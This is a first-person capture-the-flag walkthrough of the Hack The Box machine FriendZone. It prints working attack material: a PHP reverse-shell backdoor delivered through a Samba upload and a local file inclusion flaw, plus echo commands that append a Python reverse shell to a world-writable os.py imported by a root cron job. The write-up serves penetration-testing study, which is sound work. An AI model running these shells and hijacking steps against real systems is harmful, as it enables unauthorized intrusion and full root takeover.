For this walkthrough, I decided to target FriendZone. This particular machine took me three days to complete, and I was cursing its creator the entire time. What’s worse? They retired the machine while I was sleeping, the night before I beat the machine, so I got no points for the accomplishment.

Fake internet points aren’t as important as real-world experience. But it would have been nice to get the points.

Anyway, let’s get into it.


Nmap reveals a number of interesting ports active on the system:

root@haxys:~/htb# nmap -PN -sT -sV -oA version-scan
Starting Nmap 7.70 ( ) at 2019-07-11 16:58 EDT
Nmap scan report for
Host is up (0.062s latency).
Not shown: 993 closed ports
21/tcp  open  ftp         vsftpd 3.0.3
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
53/tcp  open  domain      ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open  ssl/http    Apache httpd 2.4.29
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: Hosts: FRIENDZONE,; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 14.66 seconds

I start with Apache on ports 80 and 443. Port 80 (HTTP) features a website:

friendzone homepage

Port 443 (HTTPS) shows a 404 error message. I use dirb to see if I can uncover anything hidden on either page. First I examine the HTTP site:

root@haxys:~/htb# dirb /usr/share/dirb/wordlists/common.txt -r

DIRB v2.22    
By The Dark Raver

START_TIME: Thu Jul 11 17:59:04 2019
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
OPTION: Not Recursive


GENERATED WORDS: 4612                                                          

---- Scanning URL: ----
+ (CODE:200|SIZE:324)
+ (CODE:200|SIZE:13)  
+ (CODE:403|SIZE:300)

END_TIME: Thu Jul 11 18:03:52 2019

The robots.txt is a false lead:

false lead

The WordPress directory is another false lead:

another one

The server-status page returns a 403 error, and the HTTPS scan doesn’t give me much either; just another instance of the 403’d server-status page.

I turn my attention to the ISC BIND server on port 53. There was an email listed on the HTTP site, with a domain. I attempt a zone transfer to see what I can discover:

root@haxys:/media/shared# host -l
Using domain server:
Aliases: has IPv6 address ::1 name server localhost. has address has address has address has address has address

Wonderful! I wonder what will happen if I visit the site with each of these different domains? I add them to my /etc/hosts file:

root@haxys:/media/shared# cat /etc/hosts	localhost	kali

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

I start dirb instances targeting each domain on ports 80 and 443, then manually visit the sites in Firefox to see what I can find while the scans run. I discover a taunting gif:

login page

I discover a login page on the HTTPS server, using the domain:

login page

This is promising! I examine this page for vulnerabilities. Looking at the source, I see that the form is submitted to login.php. I hit enter without any values, and get the following error:

not developed

I try a few injections, but nothing works. This appears to be another false lead. None of the other subdomains return anything interesting.

Looking into the FTP server, I find that anonymous access has been disabled. I return to my dirb processes, and they’ve returned nothing I hadn’t already found. Blast!

I choose to investigate Samba next. Enum4Linux provides a good deal of information (which I’ve trimmed for space):

root@haxys:~# enum4linux -a
Starting enum4linux v0.8.9 ( ) on Thu Jul 11 19:00:50 2019
Looking up status of
	FRIENDZONE      <00> -         B <ACTIVE>  Workstation Service
	FRIENDZONE      <03> -         B <ACTIVE>  Messenger Service
	FRIENDZONE      <20> -         B <ACTIVE>  File Server Service
	WORKGROUP       <00> - <GROUP> B <ACTIVE>  Domain/Workgroup Name
	WORKGROUP       <1e> - <GROUP> B <ACTIVE>  Browser Service Elections
	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	Files           Disk      FriendZone Samba Server Files /etc/Files
	general         Disk      FriendZone Samba Server Files
	Development     Disk      FriendZone Samba Server Files
	IPC$            IPC       IPC Service (FriendZone server (Samba, Ubuntu))
[+] Attempting to map shares on
//$	Mapping: DENIED, Listing: N/A
//	Mapping: DENIED, Listing: N/A
//	Mapping: OK, Listing: OK
//	Mapping: OK, Listing: OK
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\friend (Local User)

I can see that there’s an account called friend on this machine, which is probably the account in possession of the user.txt flag. I can also see that there are two open shares (general and Development), and I can see that a closed share (Files) is linked to the on-disk directory /etc/Files.

I connect to the general share:

root@haxys:~# smbclient \\\\\\general
Enter WORKGROUP\'s password:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Jan 16 15:10:51 2019
  ..                                  D        0  Wed Jan 23 16:51:02 2019
  creds.txt                           N       57  Tue Oct  9 19:52:42 2018

		9221460 blocks of size 1024. 6459252 blocks available
smb: \> get creds.txt
getting file \creds.txt of size 57 as creds.txt (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)
smb: \> exit
root@haxys:~# cat creds.txt
creds for the admin THING:


I download the creds.txt file from the share, which contains a username/password combination. I attempt the login on SSH, FTP, Samba, and the admin login I found earlier. Nothing works.

I connect to the Development share, but it appears to be empty. Can I upload something? I attempt to upload the creds.txt file I found earlier:

root@haxys:~# smbclient \\\\\\Development
Enter WORKGROUP\'s password:
Try "help" to get a list of possible commands.
smb: \> put creds.txt
putting file creds.txt as \creds.txt (0.3 kb/s) (average 0.3 kb/s)
smb: \> ls
  .                                   D        0  Fri Jul 12 14:35:37 2019
  ..                                  D        0  Wed Jan 23 16:51:02 2019
  creds.txt                           A       57  Fri Jul 12 14:35:38 2019

		9221460 blocks of size 1024. 6441320 blocks available

The upload is a success! I’m now able to upload files to the system. But I don’t know where they’re located on-disk. I check on the various sites hosted on the server, but can’t find a trace of creds.txt.

Scanning back over my notes, I notice something. The first domain I found was, discovered on the homepage. This information was provided by the developer, but why should I trust them to give me the full picture? In all my scans, this machine self-identifies as friendzone, not friendzoneportal. I decide to do a zone transfer to see if is a valid TLD for this machine:

root@haxys:~# host -l
Using domain server:
Aliases: has IPv6 address ::1 name server localhost. has address has address has address has address

Bingo! Four new domains to investigate. I start gobuster to scan each subdomain for new discoveries, then browse to the new domains in Firefox.

At I discover another taunting .gif:

escaping the friend zone

At I discover a login form:

friendzone login form

At I discover a file upload page:

file upload page

Uploading a file to the service sends me to a success page:

file uploaded 1

Uploading the same file again, I get a different number:

file upload 2

They appear to be some kind of time-stamp, but it’s ahead by an hour. I make a note of it, then return to Viewing the source code to the page, I find a reference to the /js/js folder, which contains the following text:

Testing some functions !

I'am trying not to break things !

Looks like some kind of hash, or perhaps an encoded string. I make a note, in case it becomes useful later. Viewing the source to this file, I find a comment that says:

<!-- dont stare too much , you will be smashed ! , it's all about times and zones ! -->

Interesting. I return to gobuster to check my results. I find an empty /admin directory on the virtual host. I discover a /files directory on the virtual host, but it returns an empty page (an empty index.html file to prevent directory listing). Wondering if this is the location of the Development share, I try loading /files/creds.txt, but have no luck.

I return to the administrator1 domain, and try the credentials from creds.txt:

login done


Local File Inclusion

Proceeding to dashboard.php as instructed, I find the following:


It’s asking for parameters to load an image. I try the default values first:


Another taunting image, an odd message, and a timestamp. Again, the timestamp is ahead of UTC by an hour or so. I try some nonsense values next:

something worng

I see a broken image link, and no timestamp. Opening the image in a new page, I see that it’s trying to load /images/asdf, which doesn’t exist. But removing the asdf gives me a directory listing:


I try loading each of the discovered images:




I return to the dashboard.php page. I want to learn more about how these parameters actually work. Altering the image_id parameter altered the image linked on the page, but it appears to simply fill a value in the img tag. Altering the parameter, I am able to verify that the provided input gets placed directly into the HTML:

not an injection point

It’s clear that the image_id parameter isn’t going to be much use, but the pagename parameter seems promising. When set to timestamp, I got a timestamp on the page, but setting it to asdf took the timestamp away. The site claims to have been built by an amateur developer… Could the pagename parameter be directly importing another PHP file? I try visiting timestamp.php and sure enough, I get the timestamp line:

timestamp, alone

Nice! The pagename parameter specifies the PHP file that gets imported into dashboard.php. Substituting login for timestamp, I attempt to load the login.php script. The word “Wrong!” appears at the bottom of the page. Visiting login.php by itself, I get the same message! Script execution! I’ve now got a confirmed Local File Inclusion (LFI).

On a whim, I try injecting the dashboard page into its own LFI… The result is disastrous:


It is clear that the LFI exists, but the real question is whether it can be exploited. First, I need to know if I can traverse directories. I begin altering the pagename parameter and checking the output values.

  • ./timestamp returns the same page, timestamp still in place.
  • ../timestamp removes the timestamp message from the bottom of the page.

This may confirm directory traversal, as the timestamp.php script doesn’t exist in its parent directory. I need to find the name of the directory where timestamp.php is being kept in order to confirm its location. Perhaps the directories are named after the virtual hosts?

  • ../administrator1/timestamp still shows no timestamp.

Damn. But what about…

  • ../admin/timestamp shows a timestamp again!

Directory traversal is confirmed, and I now know that the timestamp.php file is in the admin directory. But where is this directory located on-disk?

  • ../../www/admin/timestamp works too…
  • ../../../var/www/admin/timestamp works too…
  • /var/www/admin/timestamp works too! The script takes absolute paths!

Now I’ve confirmed that /var/www/ is the website’s root directory, and that the administrator1 subdomain is linked to the admin/ subdirectory. What about the upload page from earlier?

  • /var/www/uploads/upload works as well, with the message “WHAT ARE YOU TRYING TO DO HOOOOOOMAN !”

The uploads subdomain is tied to the uploads/ subdirectory, but I’m unable to find the files I upload. But this isn’t the only place I can upload files; there’s also the Samba Development share. Problem is, I don’t know where it’s located on-disk. I know that the Files share is stored in /etc/Files… Could the Development share be stored in /etc/Development?

I create a test.php script containing the following PoC:

<?php echo "Hello!"; ?>

Then I upload the file to the Development share:

root@haxys:~# smbclient \\\\\\Development
Enter WORKGROUP\root's password:
Try "help" to get a list of possible commands.
smb: \> put test.php
putting file test.php as \test.php (0.1 kb/s) (average 0.1 kb/s)
smb: \> ls
  .                                   D        0  Sat Jul 13 13:53:01 2019
  ..                                  D        0  Wed Jan 23 16:51:02 2019
  test.php                            A       24  Sat Jul 13 13:53:01 2019

		9221460 blocks of size 1024. 6460340 blocks available

Finally, I load /etc/Development/test.php in the LFI:

it worked

Bingo! Code execution! Time to get a shell!

Hacker on the Half-Shell

I create a backdoor.php file as follows:

  # Connect to the IP and port where netcat is listening.
  $sock=fsockopen("", 443);
  # Pipe the shell to the socket.
  proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);

I upload the file to the Development share:

root@haxys:~# smbclient \\\\\\Development
Enter WORKGROUP\root's password:
Try "help" to get a list of possible commands.
smb: \> put backdoor.php
putting file backdoor.php as \backdoor.php (0.9 kb/s) (average 0.9 kb/s)
smb: \> ls
  .                                   D        0  Sat Jul 13 14:01:20 2019
  ..                                  D        0  Wed Jan 23 16:51:02 2019
  backdoor.php                        A      213  Sat Jul 13 14:01:21 2019
  test.php                            A       24  Sat Jul 13 13:53:01 2019

		9221460 blocks of size 1024. 6460328 blocks available

I start a netcat listener on port 443, then I execute the backdoor script via the LFI. Returning to the terminal, I have a shell:

root@haxys:~# nc -vnlp 443
listening on [any] 443 ...
connect to [] from (UNKNOWN) [] 56660
/bin/sh: 0: can't access tty; job control turned off
$ whoami

I’m currently logged in as www-data… Not ideal, but it’s better than nothing! I’ll improve my shell with a little Python wizardry:

$ python -c 'import pty;pty.spawn("/bin/bash")'

Much better.

A Brief Intermission

Finally! I know it doesn’t seem like it, reading this after the fact, but it took me two days to reach this point. I’ve cleaned up the report so that it flows well, but there were many moments of sheer frustration that I haven’t included in this report. And just as I get a shell, HTB retires the machine and everyone starts publishing their walkthroughs. Drat!

But I’m still not done. I’m going to conquer this beast, once and for all.

Onwards and Upwards

First things first, I dig into g0tm1lk’s excellent privilege escalation guide. I’m not sure what I’ll be able to accomplish as www-data, but I’ll do what I can.

I quickly discern that the system is running Ubuntu 18.04.1 LTS by using the cat /etc/issue command. Checking uname -a reveals that it’s a 64-bit architecture, running kernel 4.15.0-36-generic. I make a note, then move on.

With cat /etc/passwd I confirm the existence of the friend account, living in the /home/friend/ directory. I wonder if I can access this directory?

www-data@FriendZone:/var/www/admin$ cd /home/friend
cd /home/friend
www-data@FriendZone:/home/friend$ ls -la
ls -la
total 36
drwxr-xr-x 5 friend friend 4096 Jan 24 00:59 .
drwxr-xr-x 3 root   root   4096 Oct  5  2018 ..
lrwxrwxrwx 1 root   root      9 Jan 24 00:59 .bash_history -> /dev/null
-rw-r--r-- 1 friend friend  220 Oct  5  2018 .bash_logout
-rw-r--r-- 1 friend friend 3771 Oct  5  2018 .bashrc
drwx------ 2 friend friend 4096 Oct  5  2018 .cache
drwx------ 3 friend friend 4096 Oct  6  2018 .gnupg
drwxrwxr-x 3 friend friend 4096 Oct  6  2018 .local
-rw-r--r-- 1 friend friend  807 Oct  5  2018 .profile
-rw-r--r-- 1 friend friend    0 Oct  5  2018 .sudo_as_admin_successful
-r--r--r-- 1 root   root     33 Oct  6  2018 user.txt
www-data@FriendZone:/home/friend$ cat user.txt
cat user.txt

Success! User flag recovered. On to privilege escalation…

None of the files in the friend home directory seem very interesting, so I check for world-writable folders and files:

www-data@FriendZone:/etc/Development$ find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print 2>/dev/null
< -perm -0002 -a ! -perm -1000 \) -print 2>/dev/null
www-data@FriendZone:/etc/Development$ find / -xdev -type f \( -perm -0002 -a ! -perm -1000 \) -print 2>/dev/null
< -perm -0002 -a ! -perm -1000 \) -print 2>/dev/null

I see that there’s a world-writable Python module, and that the /usr/lib/python2.7/ directory is also world-writable. I check to see what development and file-transfer tools I have:

  • awk
  • perl
  • python
  • vi
  • netcat
  • wget
  • ftp

The lack of gcc is a nuisance, but that world-writable Python module has aroused my suspicions. The os module is widely-used. If I can find a scheduled Python script that runs as root and imports the os module, then I might be able to inject code and escalate my privileges.

I download pspy from the project’s GitHub page and transfer it to the system, making sure to use the 64-bit version. (I transfer the file to /tmp, since I know I’ve got write permissions there.) Running the script, I discover exactly what I was hoping to find:

www-data@FriendZone:/tmp$ ./pspy
2019/07/14 00:00:01 CMD: UID=0    PID=2194   | /usr/bin/python /opt/server_admin/
2019/07/14 00:00:01 CMD: UID=0    PID=2193   | /bin/sh -c /opt/server_admin/
2019/07/14 00:00:01 CMD: UID=0    PID=2192   | /usr/sbin/CRON -f
2019/07/14 00:02:01 CMD: UID=0    PID=2198   | /usr/bin/python /opt/server_admin/
2019/07/14 00:02:01 CMD: UID=0    PID=2197   | /bin/sh -c /opt/server_admin/
2019/07/14 00:02:01 CMD: UID=0    PID=2196   | /usr/sbin/CRON -f
2019/07/14 00:04:01 CMD: UID=0    PID=2203   | /usr/bin/python /opt/server_admin/
2019/07/14 00:04:01 CMD: UID=0    PID=2202   | /bin/sh -c /opt/server_admin/
2019/07/14 00:04:01 CMD: UID=0    PID=2201   | /usr/sbin/CRON -f

Every two minutes, the system executes /opt/server_admin/ as root. Can I read the contents of that script? To find out, I’ll have to kill my connection, as pspy is a long-running script that doesn’t let go. I disconnect, start my listener again, and refresh the backdoor.php script via the LFI, and I’m once again rewarded with a shell.

I check to see if I can read the script:

www-data@FriendZone:/tmp$ ls -l /opt/server_admin/
ls -l /opt/server_admin/
-rwxr--r-- 1 root root 424 Jan 16 22:03 /opt/server_admin/

Nice. I check if it imports the os module:

www-data@FriendZone:/tmp$ head /opt/server_admin/ -n 5
head /opt/server_admin/ -n 5

import os

to_address = ""

Perfect! Time to exploit the flaw. With the following set of commands, I add a reverse shell to the end of the file:

echo >> /usr/lib/python2.7/
echo 'import socket, subprocess' >> /usr/lib/python2.7/
echo 's=socket.socket(socket.AF_INET,socket.SOCK_STREAM)' >> /usr/lib/python2.7/
echo 's.connect(("", 80))' >> /usr/lib/python2.7/
echo 'dup2(s.fileno(),0)' >> /usr/lib/python2.7/
echo 'dup2(s.fileno(),1)' >> /usr/lib/python2.7/
echo 'dup2(s.fileno(),2)' >> /usr/lib/python2.7/
echo '["/bin/sh","-i"])' >> /usr/lib/python2.7/

I start a new netcat listener on port 80, and I wait. Sure enough, after only a moment, I get another shell:

root@haxys:~# nc -vnlp 80
listening on [any] 80 ...
connect to [] from (UNKNOWN) [] 43332
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# cat root.txt

And that’s that!


This was easily the most obnoxious system I’ve seen yet, but I feel good about having finished it. There was a point where I was raging at the fact that I had to guess at a location on-disk, but looking back I feel a bit foolish. The Files share was mapped to /etc/Files. My first guess was that the Development share mapped to /etc/Development… yet somehow I never actually tried that location until Day 3, after they’d already retired the machine. Lesson learned: Write down your guesses, and cross them off as you go.

Getting root was pretty easy… I’ve never seen this approach before, but it made sense.

I’m glad to check this box off the list, even though I didn’t earn any points for the hack. Tomorrow I’ll be exploring Buffer Overflow (BOF) exploits in more depth, in preparation for the BOF part of the OSCP exam.

Thanks for reading!